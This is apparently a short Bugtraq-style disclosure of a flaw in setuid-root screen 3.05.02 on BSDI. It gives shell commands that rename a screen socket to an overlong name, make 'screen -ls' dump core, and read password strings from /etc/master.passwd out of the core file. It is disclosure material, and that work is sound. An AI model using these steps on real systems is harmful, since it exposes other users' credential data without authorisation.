The program under question is /usr/contrib/bin/screen (BSDI). This is screen version 3.05.02 and is installed setuid root, as it is "supposed" to be. Here is a demonstration: $ screen Screen version 3.05.02 (FAU) 19-Aug-93 Copyright (c) 1993 Juergen Weigert, Michael Schroeder Copyright (c) 1987 Oliver Laumann This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program (see the file COPYING); if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Send bugreports, fixes, enhancements, t-shirts, money, beer & pizza to screen@uni-erlangen.de (bah.. send them to Bugtraq!) [Press Space or Return to end.] $ screen $ cd /tmp/screens/S-khelbin $ ls 246.ttyp7.comet $ mv 246.ttyp* 246.ttyp7.cometanonymousanonymousanonymousanonymous\ > anonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous\ > anonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous $ screen -ls /tmp/screens/S-khelbin/246.ttyp7.cometanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous: connect: Invalid argument %1 278 Abort - core dumped screen -ls $ ls -l total 176 srwx------ 1 khelbin khelbin 0 Feb 15 21:33 246.ttyp7.cometanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous -rw-r--r-- 1 khelbin khelbin 172032 Feb 15 21:33 core.screen $ strings core.screen|less The core.screen file contains unencrypted password strings from /etc/master.passwd, which of course, should not be readable by me. I'm also sure there's a buffer-overflow here but I havn't had as much time as I would like to to look through the source yet.